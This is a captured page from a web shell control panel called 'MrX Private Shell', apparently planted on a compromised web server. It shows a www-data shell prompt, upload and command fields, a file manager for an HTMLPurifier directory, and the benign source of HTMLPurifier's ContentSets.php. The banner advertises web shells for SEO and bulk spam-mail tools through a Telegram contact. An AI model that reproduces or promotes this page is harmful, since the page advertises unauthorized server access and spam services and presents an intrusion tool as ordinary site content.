__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php

/**
 * @todo Unit test
 */
class HTMLPurifier_ContentSets
{

    /**
     * List of content set strings (pipe separators) indexed by name.
     * @type array
     */
    public $info = array();

    /**
     * List of content set lookups (element => true) indexed by name.
     * @type array
     * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets
     */
    public $lookup = array();

    /**
     * Synchronized list of defined content sets (keys of info).
     * @type array
     */
    protected $keys = array();
    /**
     * Synchronized list of defined content values (values of info).
     * @type array
     */
    protected $values = array();

    /**
     * Merges in module's content sets, expands identifiers in the content
     * sets and populates the keys, values and lookup member variables.
     * @param HTMLPurifier_HTMLModule[] $modules List of HTMLPurifier_HTMLModule
     */
    public function __construct($modules)
    {
        if (!is_array($modules)) {
            $modules = array($modules);
        }
        // populate content_sets based on module hints
        // sorry, no way of overloading
        foreach ($modules as $module) {
            foreach ($module->content_sets as $key => $value) {
                $temp = $this->convertToLookup($value);
                if (isset($this->lookup[$key])) {
                    // add it into the existing content set
                    $this->lookup[$key] = array_merge($this->lookup[$key], $temp);
                } else {
                    $this->lookup[$key] = $temp;
                }
            }
        }
        $old_lookup = false;
        while ($old_lookup !== $this->lookup) {
            $old_lookup = $this->lookup;
            foreach ($this->lookup as $i => $set) {
                $add = array();
                foreach ($set as $element => $x) {
                    if (isset($this->lookup[$element])) {
                        $add += $this->lookup[$element];
                        unset($this->lookup[$i][$element]);
                    }
                }
                $this->lookup[$i] += $add;
            }
        }

        foreach ($this->lookup as $key => $lookup) {
            $this->info[$key] = implode(' | ', array_keys($lookup));
        }
        $this->keys   = array_keys($this->info);
        $this->values = array_values($this->info);
    }

    /**
     * Accepts a definition; generates and assigns a ChildDef for it
     * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef reference
     * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef
     */
    public function generateChildDef(&$def, $module)
    {
        if (!empty($def->child)) { // already done!
            return;
        }
        $content_model = $def->content_model;
        if (is_string($content_model)) {
            // Assume that $this->keys is alphanumeric
            $def->content_model = preg_replace_callback(
                '/\b(' . implode('|', $this->keys) . ')\b/',
                array($this, 'generateChildDefCallback'),
                $content_model
            );
            //$def->content_model = str_replace(
            //    $this->keys, $this->values, $content_model);
        }
        $def->child = $this->getChildDef($def, $module);
    }

    public function generateChildDefCallback($matches)
    {
        return $this->info[$matches[0]];
    }

    /**
     * Instantiates a ChildDef based on content_model and content_model_type
     * member variables in HTMLPurifier_ElementDef
     * @note This will also defer to modules for custom HTMLPurifier_ChildDef
     *       subclasses that need content set expansion
     * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef to have ChildDef extracted
     * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef
     * @return HTMLPurifier_ChildDef corresponding to ElementDef
     */
    public function getChildDef($def, $module)
    {
        $value = $def->content_model;
        if (is_object($value)) {
            trigger_error(
                'Literal object child definitions should be stored in '.
                'ElementDef->child not ElementDef->content_model',
                E_USER_NOTICE
            );
            return $value;
        }
        switch ($def->content_model_type) {
            case 'required':
                return new HTMLPurifier_ChildDef_Required($value);
            case 'optional':
                return new HTMLPurifier_ChildDef_Optional($value);
            case 'empty':
                return new HTMLPurifier_ChildDef_Empty();
            case 'custom':
                return new HTMLPurifier_ChildDef_Custom($value);
        }
        // defer to its module
        $return = false;
        if ($module->defines_child_def) { // save a func call
            $return = $module->getChildDef($def);
        }
        if ($return !== false) {
            return $return;
        }
        // error-out
        trigger_error(
            'Could not determine which ChildDef class to instantiate',
            E_USER_ERROR
        );
        return false;
    }

    /**
     * Converts a string list of elements separated by pipes into
     * a lookup array.
     * @param string $string List of elements
     * @return array Lookup array of elements
     */
    protected function convertToLookup($string)
    {
        $array = explode('|', str_replace(' ', '', $string));
        $ret = array();
        foreach ($array as $k) {
            $ret[$k] = true;
        }
        return $ret;
    }
}

// vim: et sw=4 sts=4

Filemanager

Name Type Size Permission Actions
AttrDef Folder 0755
AttrTransform Folder 0755
ChildDef Folder 0755
ConfigSchema Folder 0755
DefinitionCache Folder 0755
EntityLookup Folder 0755
Filter Folder 0755
HTMLModule Folder 0755
Injector Folder 0755
Language Folder 0755
Lexer Folder 0755
Node Folder 0755
Printer Folder 0755
Strategy Folder 0755
TagTransform Folder 0755
Token Folder 0755
URIFilter Folder 0755
URIScheme Folder 0755
VarParser Folder 0755
Arborize.php File 2.49 KB 0644
AttrCollections.php File 4.75 KB 0644
AttrDef.php File 5.07 KB 0644
AttrTransform.php File 1.94 KB 0644
AttrTypes.php File 3.67 KB 0644
AttrValidator.php File 6.42 KB 0644
Bootstrap.php File 2.64 KB 0644
CSSDefinition.php File 19.59 KB 0644
ChildDef.php File 1.52 KB 0644
Config.php File 30.96 KB 0644
ConfigSchema.php File 5.76 KB 0644
ContentSets.php File 5.51 KB 0644
Context.php File 2.57 KB 0644
Definition.php File 1.33 KB 0644
DefinitionCache.php File 3.82 KB 0644
DefinitionCacheFactory.php File 3.12 KB 0644
Doctype.php File 1.54 KB 0644
DoctypeRegistry.php File 4.13 KB 0644
ElementDef.php File 7.35 KB 0644
Encoder.php File 25.19 KB 0644
EntityLookup.php File 1.39 KB 0644
EntityParser.php File 9.75 KB 0644
ErrorCollector.php File 7.45 KB 0644
ErrorStruct.php File 1.85 KB 0644
Exception.php File 177 B 0644
Filter.php File 1.59 KB 0644
Generator.php File 10.01 KB 0644
HTMLDefinition.php File 17.33 KB 0644
HTMLModule.php File 9.96 KB 0644
HTMLModuleManager.php File 15.57 KB 0644
IDAccumulator.php File 1.61 KB 0644
Injector.php File 8.79 KB 0644
Language.php File 5.92 KB 0644
LanguageFactory.php File 6.46 KB 0644
Length.php File 3.8 KB 0644
Lexer.php File 13.21 KB 0644
Node.php File 1.25 KB 0644
PercentEncoder.php File 3.48 KB 0644
Printer.php File 5.76 KB 0644
PropertyList.php File 2.72 KB 0644
PropertyListIterator.php File 894 B 0644
Queue.php File 1.51 KB 0644
Strategy.php File 762 B 0644
StringHash.php File 1.07 KB 0644
StringHashParser.php File 3.56 KB 0644
TagTransform.php File 1.07 KB 0644
Token.php File 2.17 KB 0644
TokenFactory.php File 3.03 KB 0644
URI.php File 10.35 KB 0644
URIDefinition.php File 3.35 KB 0644
URIFilter.php File 2.31 KB 0644
URIParser.php File 2.24 KB 0644
URIScheme.php File 3.4 KB 0644
URISchemeRegistry.php File 2.35 KB 0644
UnitConverter.php File 9.91 KB 0644
VarParser.php File 5.85 KB 0644
VarParserException.php File 157 B 0644
Zipper.php File 4.34 KB 0644
Filemanager